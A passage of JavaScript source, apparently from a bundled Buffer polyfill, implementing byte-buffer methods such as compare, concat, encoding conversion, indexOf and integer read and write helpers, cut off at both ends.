                                x = a[i]
                                y = b[i]
                                break
                            }
                        }

                        if (x < y) return -1
                        if (y < x) return 1
                        return 0
                    }

                    Buffer.isEncoding = function isEncoding (encoding) {
                        switch (String(encoding).toLowerCase()) {
                            case 'hex':
                            case 'utf8':
                            case 'utf-8':
                            case 'ascii':
                            case 'latin1':
                            case 'binary':
                            case 'base64':
                            case 'ucs2':
                            case 'ucs-2':
                            case 'utf16le':
                            case 'utf-16le':
                                return true
                            default:
                                return false
                        }
                    }

                    Buffer.concat = function concat (list, length) {
                        if (!isArray(list)) {
                            throw new TypeError('"list" argument must be an Array of Buffers')
                        }

                        if (list.length === 0) {
                            return Buffer.alloc(0)
                        }

                        var i
                        if (length === undefined) {
                            length = 0
                            for (i = 0; i < list.length; ++i) {
                                length += list[i].length
                            }
                        }

                        var buffer = Buffer.allocUnsafe(length)
                        var pos = 0
                        for (i = 0; i < list.length; ++i) {
                            var buf = list[i]
                            if (!Buffer.isBuffer(buf)) {
                                throw new TypeError('"list" argument must be an Array of Buffers')
                            }
                            buf.copy(buffer, pos)
                            pos += buf.length
                        }
                        return buffer
                    }

                    function byteLength (string, encoding) {
                        if (Buffer.isBuffer(string)) {
                            return string.length
                        }
                        if (typeof ArrayBuffer !== 'undefined' && typeof ArrayBuffer.isView === 'function' &&
                            (ArrayBuffer.isView(string) || string instanceof ArrayBuffer)) {
                            return string.byteLength
                        }
                        if (typeof string !== 'string') {
                            string = '' + string
                        }

                        var len = string.length
                        if (len === 0) return 0

                        // Use a for loop to avoid recursion
                        var loweredCase = false
                        for (;;) {
                            switch (encoding) {
                                case 'ascii':
                                case 'latin1':
                                case 'binary':
                                    return len
                                case 'utf8':
                                case 'utf-8':
                                case undefined:
                                    return utf8ToBytes(string).length
                                case 'ucs2':
                                case 'ucs-2':
                                case 'utf16le':
                                case 'utf-16le':
                                    return len * 2
                                case 'hex':
                                    return len >>> 1
                                case 'base64':
                                    return base64ToBytes(string).length
                                default:
                                    if (loweredCase) return utf8ToBytes(string).length // assume utf8
                                    encoding = ('' + encoding).toLowerCase()
                                    loweredCase = true
                            }
                        }
                    }
                    Buffer.byteLength = byteLength

                    function slowToString (encoding, start, end) {
                        var loweredCase = false

                        // No need to verify that "this.length <= MAX_UINT32" since it's a read-only
                        // property of a typed array.

                        // This behaves neither like String nor Uint8Array in that we set start/end
                        // to their upper/lower bounds if the value passed is out of range.
                        // undefined is handled specially as per ECMA-262 6th Edition,
                        // Section 13.3.3.7 Runtime Semantics: KeyedBindingInitialization.
                        if (start === undefined || start < 0) {
                            start = 0
                        }
                        // Return early if start > this.length. Done here to prevent potential uint32
                        // coercion fail below.
                        if (start > this.length) {
                            return ''
                        }

                        if (end === undefined || end > this.length) {
                            end = this.length
                        }

                        if (end <= 0) {
                            return ''
                        }

                        // Force coersion to uint32. This will also coerce falsey/NaN values to 0.
                        end >>>= 0
                        start >>>= 0

                        if (end <= start) {
                            return ''
                        }

                        if (!encoding) encoding = 'utf8'

                        while (true) {
                            switch (encoding) {
                                case 'hex':
                                    return hexSlice(this, start, end)

                                case 'utf8':
                                case 'utf-8':
                                    return utf8Slice(this, start, end)

                                case 'ascii':
                                    return asciiSlice(this, start, end)

                                case 'latin1':
                                case 'binary':
                                    return latin1Slice(this, start, end)

                                case 'base64':
                                    return base64Slice(this, start, end)

                                case 'ucs2':
                                case 'ucs-2':
                                case 'utf16le':
                                case 'utf-16le':
                                    return utf16leSlice(this, start, end)

                                default:
                                    if (loweredCase) throw new TypeError('Unknown encoding: ' + encoding)
                                    encoding = (encoding + '').toLowerCase()
                                    loweredCase = true
                            }
                        }
                    }

                    // The property is used by `Buffer.isBuffer` and `is-buffer` (in Safari 5-7) to detect
                    // Buffer instances.
                    Buffer.prototype._isBuffer = true

                    function swap (b, n, m) {
                        var i = b[n]
                        b[n] = b[m]
                        b[m] = i
                    }

                    Buffer.prototype.swap16 = function swap16 () {
                        var len = this.length
                        if (len % 2 !== 0) {
                            throw new RangeError('Buffer size must be a multiple of 16-bits')
                        }
                        for (var i = 0; i < len; i += 2) {
                            swap(this, i, i + 1)
                        }
                        return this
                    }

                    Buffer.prototype.swap32 = function swap32 () {
                        var len = this.length
                        if (len % 4 !== 0) {
                            throw new RangeError('Buffer size must be a multiple of 32-bits')
                        }
                        for (var i = 0; i < len; i += 4) {
                            swap(this, i, i + 3)
                            swap(this, i + 1, i + 2)
                        }
                        return this
                    }

                    Buffer.prototype.swap64 = function swap64 () {
                        var len = this.length
                        if (len % 8 !== 0) {
                            throw new RangeError('Buffer size must be a multiple of 64-bits')
                        }
                        for (var i = 0; i < len; i += 8) {
                            swap(this, i, i + 7)
                            swap(this, i + 1, i + 6)
                            swap(this, i + 2, i + 5)
                            swap(this, i + 3, i + 4)
                        }
                        return this
                    }

                    Buffer.prototype.toString = function toString () {
                        var length = this.length | 0
                        if (length === 0) return ''
                        if (arguments.length === 0) return utf8Slice(this, 0, length)
                        return slowToString.apply(this, arguments)
                    }

                    Buffer.prototype.equals = function equals (b) {
                        if (!Buffer.isBuffer(b)) throw new TypeError('Argument must be a Buffer')
                        if (this === b) return true
                        return Buffer.compare(this, b) === 0
                    }

                    Buffer.prototype.inspect = function inspect () {
                        var str = ''
                        var max = exports.INSPECT_MAX_BYTES
                        if (this.length > 0) {
                            str = this.toString('hex', 0, max).match(/.{2}/g).join(' ')
                            if (this.length > max) str += ' ... '
                        }
                        return '<Buffer ' + str + '>'
                    }

                    Buffer.prototype.compare = function compare (target, start, end, thisStart, thisEnd) {
                        if (!Buffer.isBuffer(target)) {
                            throw new TypeError('Argument must be a Buffer')
                        }

                        if (start === undefined) {
                            start = 0
                        }
                        if (end === undefined) {
                            end = target ? target.length : 0
                        }
                        if (thisStart === undefined) {
                            thisStart = 0
                        }
                        if (thisEnd === undefined) {
                            thisEnd = this.length
                        }

                        if (start < 0 || end > target.length || thisStart < 0 || thisEnd > this.length) {
                            throw new RangeError('out of range index')
                        }

                        if (thisStart >= thisEnd && start >= end) {
                            return 0
                        }
                        if (thisStart >= thisEnd) {
                            return -1
                        }
                        if (start >= end) {
                            return 1
                        }

                        start >>>= 0
                        end >>>= 0
                        thisStart >>>= 0
                        thisEnd >>>= 0

                        if (this === target) return 0

                        var x = thisEnd - thisStart
                        var y = end - start
                        var len = Math.min(x, y)

                        var thisCopy = this.slice(thisStart, thisEnd)
                        var targetCopy = target.slice(start, end)

                        for (var i = 0; i < len; ++i) {
                            if (thisCopy[i] !== targetCopy[i]) {
                                x = thisCopy[i]
                                y = targetCopy[i]
                                break
                            }
                        }

                        if (x < y) return -1
                        if (y < x) return 1
                        return 0
                    }

                    // Finds either the first index of `val` in `buffer` at offset >= `byteOffset`,
                    // OR the last index of `val` in `buffer` at offset <= `byteOffset`.
                    //
                    // Arguments:
                    // - buffer - a Buffer to search
                    // - val - a string, Buffer, or number
                    // - byteOffset - an index into `buffer`; will be clamped to an int32
                    // - encoding - an optional encoding, relevant is val is a string
                    // - dir - true for indexOf, false for lastIndexOf
                    function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {
                        // Empty buffer means no match
                        if (buffer.length === 0) return -1

                        // Normalize byteOffset
                        if (typeof byteOffset === 'string') {
                            encoding = byteOffset
                            byteOffset = 0
                        } else if (byteOffset > 0x7fffffff) {
                            byteOffset = 0x7fffffff
                        } else if (byteOffset < -0x80000000) {
                            byteOffset = -0x80000000
                        }
                        byteOffset = +byteOffset  // Coerce to Number.
                        if (isNaN(byteOffset)) {
                            // byteOffset: it it's undefined, null, NaN, "foo", etc, search whole buffer
                            byteOffset = dir ? 0 : (buffer.length - 1)
                        }

                        // Normalize byteOffset: negative offsets start from the end of the buffer
                        if (byteOffset < 0) byteOffset = buffer.length + byteOffset
                        if (byteOffset >= buffer.length) {
                            if (dir) return -1
                            else byteOffset = buffer.length - 1
                        } else if (byteOffset < 0) {
                            if (dir) byteOffset = 0
                            else return -1
                        }

                        // Normalize val
                        if (typeof val === 'string') {
                            val = Buffer.from(val, encoding)
                        }

                        // Finally, search either indexOf (if dir is true) or lastIndexOf
                        if (Buffer.isBuffer(val)) {
                            // Special case: looking for empty string/buffer always fails
                            if (val.length === 0) {
                                return -1
                            }
                            return arrayIndexOf(buffer, val, byteOffset, encoding, dir)
                        } else if (typeof val === 'number') {
                            val = val & 0xFF // Search for a byte value [0-255]
                            if (Buffer.TYPED_ARRAY_SUPPORT &&
                                typeof Uint8Array.prototype.indexOf === 'function') {
                                if (dir) {
                                    return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)
                                } else {
                                    return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)
                                }
                            }
                            return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)
                        }

                        throw new TypeError('val must be string, number or Buffer')
                    }

                    function arrayIndexOf (arr, val, byteOffset, encoding, dir) {
                        var indexSize = 1
                        var arrLength = arr.length
                        var valLength = val.length

                        if (encoding !== undefined) {
                            encoding = String(encoding).toLowerCase()
                            if (encoding === 'ucs2' || encoding === 'ucs-2' ||
                                encoding === 'utf16le' || encoding === 'utf-16le') {
                                if (arr.length < 2 || val.length < 2) {
                                    return -1
                                }
                                indexSize = 2
                                arrLength /= 2
                                valLength /= 2
                                byteOffset /= 2
                            }
                        }

                        function read (buf, i) {
                            if (indexSize === 1) {
                                return buf[i]
                            } else {
                                return buf.readUInt16BE(i * indexSize)
                            }
                        }

                        var i
                        if (dir) {
                            var foundIndex = -1
                            for (i = byteOffset; i < arrLength; i++) {
                                if (read(arr, i) === read(val, foundIndex === -1 ? 0 : i - foundIndex)) {
                                    if (foundIndex === -1) foundIndex = i
                                    if (i - foundIndex + 1 === valLength) return foundIndex * indexSize
                                } else {
                                    if (foundIndex !== -1) i -= i - foundIndex
                                    foundIndex = -1
                                }
                            }
                        } else {
                            if (byteOffset + valLength > arrLength) byteOffset = arrLength - valLength
                            for (i = byteOffset; i >= 0; i--) {
                                var found = true
                                for (var j = 0; j < valLength; j++) {
                                    if (read(arr, i + j) !== read(val, j)) {
                                        found = false
                                        break
                                    }
                                }
                                if (found) return i
                            }
                        }

                        return -1
                    }

                    Buffer.prototype.includes = function includes (val, byteOffset, encoding) {
                        return this.indexOf(val, byteOffset, encoding) !== -1
                    }

                    Buffer.prototype.indexOf = function indexOf (val, byteOffset, encoding) {
                        return bidirectionalIndexOf(this, val, byteOffset, encoding, true)
                    }

                    Buffer.prototype.lastIndexOf = function lastIndexOf (val, byteOffset, encoding) {
                        return bidirectionalIndexOf(this, val, byteOffset, encoding, false)
                    }

                    function hexWrite (buf, string, offset, length) {
                        offset = Number(offset) || 0
                        var remaining = buf.length - offset
                        if (!length) {
                            length = remaining
                        } else {
                            length = Number(length)
                            if (length > remaining) {
                                length = remaining
                            }
                        }

                        // must be an even number of digits
                        var strLen = string.length
                        if (strLen % 2 !== 0) throw new TypeError('Invalid hex string')

                        if (length > strLen / 2) {
                            length = strLen / 2
                        }
                        for (var i = 0; i < length; ++i) {
                            var parsed = parseInt(string.substr(i * 2, 2), 16)
                            if (isNaN(parsed)) return i
                            buf[offset + i] = parsed
                        }
                        return i
                    }

                    function utf8Write (buf, string, offset, length) {
                        return blitBuffer(utf8ToBytes(string, buf.length - offset), buf, offset, length)
                    }

                    function asciiWrite (buf, string, offset, length) {
                        return blitBuffer(asciiToBytes(string), buf, offset, length)
                    }

                    function latin1Write (buf, string, offset, length) {
                        return asciiWrite(buf, string, offset, length)
                    }

                    function base64Write (buf, string, offset, length) {
                        return blitBuffer(base64ToBytes(string), buf, offset, length)
                    }

                    function ucs2Write (buf, string, offset, length) {
                        return blitBuffer(utf16leToBytes(string, buf.length - offset), buf, offset, length)
                    }

                    Buffer.prototype.write = function write (string, offset, length, encoding) {
                        // Buffer#write(string)
                        if (offset === undefined) {
                            encoding = 'utf8'
                            length = this.length
                            offset = 0
                            // Buffer#write(string, encoding)
                        } else if (length === undefined && typeof offset === 'string') {
                            encoding = offset
                            length = this.length
                            offset = 0
                            // Buffer#write(string, offset[, length][, encoding])
                        } else if (isFinite(offset)) {
                            offset = offset | 0
                            if (isFinite(length)) {
                                length = length | 0
                                if (encoding === undefined) encoding = 'utf8'
                            } else {
                                encoding = length
                                length = undefined
                            }
                            // legacy write(string, encoding, offset, length) - remove in v0.13
                        } else {
                            throw new Error(
                                'Buffer.write(string, encoding, offset[, length]) is no longer supported'
                            )
                        }

                        var remaining = this.length - offset
                        if (length === undefined || length > remaining) length = remaining

                        if ((string.length > 0 && (length < 0 || offset < 0)) || offset > this.length) {
                            throw new RangeError('Attempt to write outside buffer bounds')
                        }

                        if (!encoding) encoding = 'utf8'

                        var loweredCase = false
                        for (;;) {
                            switch (encoding) {
                                case 'hex':
                                    return hexWrite(this, string, offset, length)

                                case 'utf8':
                                case 'utf-8':
                                    return utf8Write(this, string, offset, length)

                                case 'ascii':
                                    return asciiWrite(this, string, offset, length)

                                case 'latin1':
                                case 'binary':
                                    return latin1Write(this, string, offset, length)

                                case 'base64':
                                    // Warning: maxLength not taken into account in base64Write
                                    return base64Write(this, string, offset, length)

                                case 'ucs2':
                                case 'ucs-2':
                                case 'utf16le':
                                case 'utf-16le':
                                    return ucs2Write(this, string, offset, length)

                                default:
                                    if (loweredCase) throw new TypeError('Unknown encoding: ' + encoding)
                                    encoding = ('' + encoding).toLowerCase()
                                    loweredCase = true
                            }
                        }
                    }

                    Buffer.prototype.toJSON = function toJSON () {
                        return {
                            type: 'Buffer',
                            data: Array.prototype.slice.call(this._arr || this, 0)
                        }
                    }

                    function base64Slice (buf, start, end) {
                        if (start === 0 && end === buf.length) {
                            return base64.fromByteArray(buf)
                        } else {
                            return base64.fromByteArray(buf.slice(start, end))
                        }
                    }

                    function utf8Slice (buf, start, end) {
                        end = Math.min(buf.length, end)
                        var res = []

                        var i = start
                        while (i < end) {
                            var firstByte = buf[i]
                            var codePoint = null
                            var bytesPerSequence = (firstByte > 0xEF) ? 4
                            : (firstByte > 0xDF) ? 3
                            : (firstByte > 0xBF) ? 2
                            : 1

                            if (i + bytesPerSequence <= end) {
                                var secondByte, thirdByte, fourthByte, tempCodePoint

                                switch (bytesPerSequence) {
                                    case 1:
                                        if (firstByte < 0x80) {
                                            codePoint = firstByte
                                        }
                                        break
                                    case 2:
                                        secondByte = buf[i + 1]
                                        if ((secondByte & 0xC0) === 0x80) {
                                            tempCodePoint = (firstByte & 0x1F) << 0x6 | (secondByte & 0x3F)
                                            if (tempCodePoint > 0x7F) {
                                                codePoint = tempCodePoint
                                            }
                                        }
                                        break
                                    case 3:
                                        secondByte = buf[i + 1]
                                        thirdByte = buf[i + 2]
                                        if ((secondByte & 0xC0) === 0x80 && (thirdByte & 0xC0) === 0x80) {
                                            tempCodePoint = (firstByte & 0xF) << 0xC | (secondByte & 0x3F) << 0x6 | (thirdByte & 0x3F)
                                            if (tempCodePoint > 0x7FF && (tempCodePoint < 0xD800 || tempCodePoint > 0xDFFF)) {
                                                codePoint = tempCodePoint
                                            }
                                        }
                                        break
                                    case 4:
                                        secondByte = buf[i + 1]
                                        thirdByte = buf[i + 2]
                                        fourthByte = buf[i + 3]
                                        if ((secondByte & 0xC0) === 0x80 && (thirdByte & 0xC0) === 0x80 && (fourthByte & 0xC0) === 0x80) {
                                            tempCodePoint = (firstByte & 0xF) << 0x12 | (secondByte & 0x3F) << 0xC | (thirdByte & 0x3F) << 0x6 | (fourthByte & 0x3F)
                                            if (tempCodePoint > 0xFFFF && tempCodePoint < 0x110000) {
                                                codePoint = tempCodePoint
                                            }
                                        }
                                }
                            }

                            if (codePoint === null) {
                                // we did not generate a valid codePoint so insert a
                                // replacement char (U+FFFD) and advance only 1 byte
                                codePoint = 0xFFFD
                                bytesPerSequence = 1
                            } else if (codePoint > 0xFFFF) {
                                // encode to utf16 (surrogate pair dance)
                                codePoint -= 0x10000
                                res.push(codePoint >>> 10 & 0x3FF | 0xD800)
                                codePoint = 0xDC00 | codePoint & 0x3FF
                            }

                            res.push(codePoint)
                            i += bytesPerSequence
                        }

                        return decodeCodePointsArray(res)
                    }

                    // Based on http://stackoverflow.com/a/22747272/680742, the browser with
                    // the lowest limit is Chrome, with 0x10000 args.
                    // We go 1 magnitude less, for safety
                    var MAX_ARGUMENTS_LENGTH = 0x1000

                    function decodeCodePointsArray (codePoints) {
                        var len = codePoints.length
                        if (len <= MAX_ARGUMENTS_LENGTH) {
                            return String.fromCharCode.apply(String, codePoints) // avoid extra slice()
                        }

                        // Decode in chunks to avoid "call stack size exceeded".
                        var res = ''
                        var i = 0
                        while (i < len) {
                            res += String.fromCharCode.apply(
                                String,
                                codePoints.slice(i, i += MAX_ARGUMENTS_LENGTH)
                            )
                        }
                        return res
                    }

                    function asciiSlice (buf, start, end) {
                        var ret = ''
                        end = Math.min(buf.length, end)

                        for (var i = start; i < end; ++i) {
                            ret += String.fromCharCode(buf[i] & 0x7F)
                        }
                        return ret
                    }

                    function latin1Slice (buf, start, end) {
                        var ret = ''
                        end = Math.min(buf.length, end)

                        for (var i = start; i < end; ++i) {
                            ret += String.fromCharCode(buf[i])
                        }
                        return ret
                    }

                    function hexSlice (buf, start, end) {
                        var len = buf.length

                        if (!start || start < 0) start = 0
                        if (!end || end < 0 || end > len) end = len

                        var out = ''
                        for (var i = start; i < end; ++i) {
                            out += toHex(buf[i])
                        }
                        return out
                    }

                    function utf16leSlice (buf, start, end) {
                        var bytes = buf.slice(start, end)
                        var res = ''
                        for (var i = 0; i < bytes.length; i += 2) {
                            res += String.fromCharCode(bytes[i] + bytes[i + 1] * 256)
                        }
                        return res
                    }

                    Buffer.prototype.slice = function slice (start, end) {
                        var len = this.length
                        start = ~~start
                        end = end === undefined ? len : ~~end

                        if (start < 0) {
                            start += len
                            if (start < 0) start = 0
                        } else if (start > len) {
                            start = len
                        }

                        if (end < 0) {
                            end += len
                            if (end < 0) end = 0
                        } else if (end > len) {
                            end = len
                        }

                        if (end < start) end = start

                        var newBuf
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            newBuf = this.subarray(start, end)
                            newBuf.__proto__ = Buffer.prototype
                        } else {
                            var sliceLen = end - start
                            newBuf = new Buffer(sliceLen, undefined)
                            for (var i = 0; i < sliceLen; ++i) {
                                newBuf[i] = this[i + start]
                            }
                        }

                        return newBuf
                    }

                    /*
     * Need to make sure that buffer isn't trying to write out of bounds.
     */
                    function checkOffset (offset, ext, length) {
                        if ((offset % 1) !== 0 || offset < 0) throw new RangeError('offset is not uint')
                        if (offset + ext > length) throw new RangeError('Trying to access beyond buffer length')
                    }

                    Buffer.prototype.readUIntLE = function readUIntLE (offset, byteLength, noAssert) {
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) checkOffset(offset, byteLength, this.length)

                        var val = this[offset]
                        var mul = 1
                        var i = 0
                        while (++i < byteLength && (mul *= 0x100)) {
                            val += this[offset + i] * mul
                        }

                        return val
                    }

                    Buffer.prototype.readUIntBE = function readUIntBE (offset, byteLength, noAssert) {
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) {
                            checkOffset(offset, byteLength, this.length)
                        }

                        var val = this[offset + --byteLength]
                        var mul = 1
                        while (byteLength > 0 && (mul *= 0x100)) {
                            val += this[offset + --byteLength] * mul
                        }

                        return val
                    }

                    Buffer.prototype.readUInt8 = function readUInt8 (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 1, this.length)
                        return this[offset]
                    }

                    Buffer.prototype.readUInt16LE = function readUInt16LE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 2, this.length)
                        return this[offset] | (this[offset + 1] << 8)
                    }

                    Buffer.prototype.readUInt16BE = function readUInt16BE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 2, this.length)
                        return (this[offset] << 8) | this[offset + 1]
                    }

                    Buffer.prototype.readUInt32LE = function readUInt32LE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)

                        return ((this[offset]) |
                                (this[offset + 1] << 8) |
                                (this[offset + 2] << 16)) +
                            (this[offset + 3] * 0x1000000)
                    }

                    Buffer.prototype.readUInt32BE = function readUInt32BE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)

                        return (this[offset] * 0x1000000) +
                            ((this[offset + 1] << 16) |
                             (this[offset + 2] << 8) |
                             this[offset + 3])
                    }

                    Buffer.prototype.readIntLE = function readIntLE (offset, byteLength, noAssert) {
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) checkOffset(offset, byteLength, this.length)

                        var val = this[offset]
                        var mul = 1
                        var i = 0
                        while (++i < byteLength && (mul *= 0x100)) {
                            val += this[offset + i] * mul
                        }
                        mul *= 0x80

                        if (val >= mul) val -= Math.pow(2, 8 * byteLength)

                        return val
                    }

                    Buffer.prototype.readIntBE = function readIntBE (offset, byteLength, noAssert) {
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) checkOffset(offset, byteLength, this.length)

                        var i = byteLength
                        var mul = 1
                        var val = this[offset + --i]
                        while (i > 0 && (mul *= 0x100)) {
                            val += this[offset + --i] * mul
                        }
                        mul *= 0x80

                        if (val >= mul) val -= Math.pow(2, 8 * byteLength)

                        return val
                    }

                    Buffer.prototype.readInt8 = function readInt8 (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 1, this.length)
                        if (!(this[offset] & 0x80)) return (this[offset])
                        return ((0xff - this[offset] + 1) * -1)
                    }

                    Buffer.prototype.readInt16LE = function readInt16LE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 2, this.length)
                        var val = this[offset] | (this[offset + 1] << 8)
                        return (val & 0x8000) ? val | 0xFFFF0000 : val
                    }

                    Buffer.prototype.readInt16BE = function readInt16BE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 2, this.length)
                        var val = this[offset + 1] | (this[offset] << 8)
                        return (val & 0x8000) ? val | 0xFFFF0000 : val
                    }

                    Buffer.prototype.readInt32LE = function readInt32LE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)

                        return (this[offset]) |
                            (this[offset + 1] << 8) |
                            (this[offset + 2] << 16) |
                            (this[offset + 3] << 24)
                    }

                    Buffer.prototype.readInt32BE = function readInt32BE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)

                        return (this[offset] << 24) |
                            (this[offset + 1] << 16) |
                            (this[offset + 2] << 8) |
                            (this[offset + 3])
                    }

                    Buffer.prototype.readFloatLE = function readFloatLE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)
                        return ieee754.read(this, offset, true, 23, 4)
                    }

                    Buffer.prototype.readFloatBE = function readFloatBE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)
                        return ieee754.read(this, offset, false, 23, 4)
                    }

                    Buffer.prototype.readDoubleLE = function readDoubleLE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 8, this.length)
                        return ieee754.read(this, offset, true, 52, 8)
                    }

                    Buffer.prototype.readDoubleBE = function readDoubleBE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 8, this.length)
                        return ieee754.read(this, offset, false, 52, 8)
                    }

                    function checkInt (buf, value, offset, ext, max, min) {
                        if (!Buffer.isBuffer(buf)) throw new TypeError('"buffer" argument must be a Buffer instance')
                        if (value > max || value < min) throw new RangeError('"value" argument is out of bounds')
                        if (offset + ext > buf.length) throw new RangeError('Index out of range')
                    }

                    Buffer.prototype.writeUIntLE = function writeUIntLE (value, offset, byteLength, noAssert) {
                        value = +value
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) {
                            var maxBytes = Math.pow(2, 8 * byteLength) - 1
                            checkInt(this, value, offset, byteLength, maxBytes, 0)
                        }

                        var mul = 1
                        var i = 0
                        this[offset] = value & 0xFF
                        while (++i < byteLength && (mul *= 0x100)) {
                            this[offset + i] = (value / mul) & 0xFF
                        }

                        return offset + byteLength
                    }

                    Buffer.prototype.writeUIntBE = function writeUIntBE (value, offset, byteLength, noAssert) {
                        value = +value
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) {
                            var maxBytes = Math.pow(2, 8 * byteLength) - 1
                            checkInt(this, value, offset, byteLength, maxBytes, 0)
                        }

                        var i = byteLength - 1
                        var mul = 1
                        this[offset + i] = value & 0xFF
                        while (--i >= 0 && (mul *= 0x100)) {
                            this[offset + i] = (value / mul) & 0xFF
                        }

                        return offset + byteLength
                    }

                    Buffer.prototype.writeUInt8 = function writeUInt8 (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 1, 0xff, 0)
                        if (!Buffer.TYPED_ARRAY_SUPPORT) value = Math.floor(value)
                        this[offset] = (value & 0xff)
                        return offset + 1
                    }

                    function objectWriteUInt16 (buf, value, offset, littleEndian) {
                        if (value < 0) value = 0xffff + value + 1
                        for (var i = 0, j = Math.min(buf.length - offset, 2); i < j; ++i) {
                            buf[offset + i] = (value & (0xff << (8 * (littleEndian ? i : 1 - i)))) >>>
                                (littleEndian ? i : 1 - i) * 8
                        }
                    }

                    Buffer.prototype.writeUInt16LE = function writeUInt16LE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 2, 0xffff, 0)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value & 0xff)
                            this[offset + 1] = (value >>> 8)
                        } else {
                            objectWriteUInt16(this, value, offset, true)
                        }
                        return offset + 2
                    }

                    Buffer.prototype.writeUInt16BE = function writeUInt16BE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 2, 0xffff, 0)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value >>> 8)
                            this[offset + 1] = (value & 0xff)
                        } else {
                            objectWriteUInt16(this, value, offset, false)
                        }
                        return offset + 2
                    }

                    function objectWriteUInt32 (buf, value, offset, littleEndian) {
                        if (value < 0) value = 0xffffffff + value + 1
                        for (var i = 0, j = Math.min(buf.length - offset, 4); i < j; ++i) {
                            buf[offset + i] = (value >>> (littleEndian ? i : 3 - i) * 8) & 0xff
                        }
                    }

                    Buffer.prototype.writeUInt32LE = function writeUInt32LE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 4, 0xffffffff, 0)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset + 3] = (value >>> 24)
                            this[offset + 2] = (value >>> 16)
                            this[offset + 1] = (value >>> 8)
                            this[offset] = (value & 0xff)
                        } else {
                            objectWriteUInt32(this, value, offset, true)
                        }
                        return offset + 4
                    }

                    Buffer.prototype.writeUInt32BE = function writeUInt32BE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 4, 0xffffffff, 0)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value >>> 24)
                            this[offset + 1] = (value >>> 16)
                            this[offset + 2] = (value >>> 8)
                            this[offset + 3] = (value & 0xff)
                        } else {
                            objectWriteUInt32(this, value, offset, false)
                        }
                        return offset + 4
                    }

                    Buffer.prototype.writeIntLE = function writeIntLE (value, offset, byteLength, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) {
                            var limit = Math.pow(2, 8 * byteLength - 1)

                            checkInt(this, value, offset, byteLength, limit - 1, -limit)
                        }

                        var i = 0
                        var mul = 1
                        var sub = 0
                        this[offset] = value & 0xFF
                        while (++i < byteLength && (mul *= 0x100)) {
                            if (value < 0 && sub === 0 && this[offset + i - 1] !== 0) {
                                sub = 1
                            }
                            this[offset + i] = ((value / mul) >> 0) - sub & 0xFF
                        }

                        return offset + byteLength
                    }

                    Buffer.prototype.writeIntBE = function writeIntBE (value, offset, byteLength, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) {
                            var limit = Math.pow(2, 8 * byteLength - 1)

                            checkInt(this, value, offset, byteLength, limit - 1, -limit)
                        }

                        var i = byteLength - 1
                        var mul = 1
                        var sub = 0
                        this[offset + i] = value & 0xFF
                        while (--i >= 0 && (mul *= 0x100)) {
                            if (value < 0 && sub === 0 && this[offset + i + 1] !== 0) {
                                sub = 1
                            }
                            this[offset + i] = ((value / mul) >> 0) - sub & 0xFF
                        }

                        return offset + byteLength
                    }

                    Buffer.prototype.writeInt8 = function writeInt8 (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 1, 0x7f, -0x80)
                        if (!Buffer.TYPED_ARRAY_SUPPORT) value = Math.floor(value)
                        if (value < 0) value = 0xff + value + 1
                        this[offset] = (value & 0xff)
                        return offset + 1
                    }

                    Buffer.prototype.writeInt16LE = function writeInt16LE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 2, 0x7fff, -0x8000)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value & 0xff)
                            this[offset + 1] = (value >>> 8)
                        } else {
                            objectWriteUInt16(this, value, offset, true)
                        }
                        return offset + 2
                    }

                    Buffer.prototype.writeInt16BE = function writeInt16BE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 2, 0x7fff, -0x8000)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value >>> 8)
                            this[offset + 1] = (value & 0xff)
                        } else {
                            objectWriteUInt16(this, value, offset, false)
                        }
                        return offset + 2
                    }

                    Buffer.prototype.writeInt32LE = function writeInt32LE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 4, 0x7fffffff, -0x80000000)
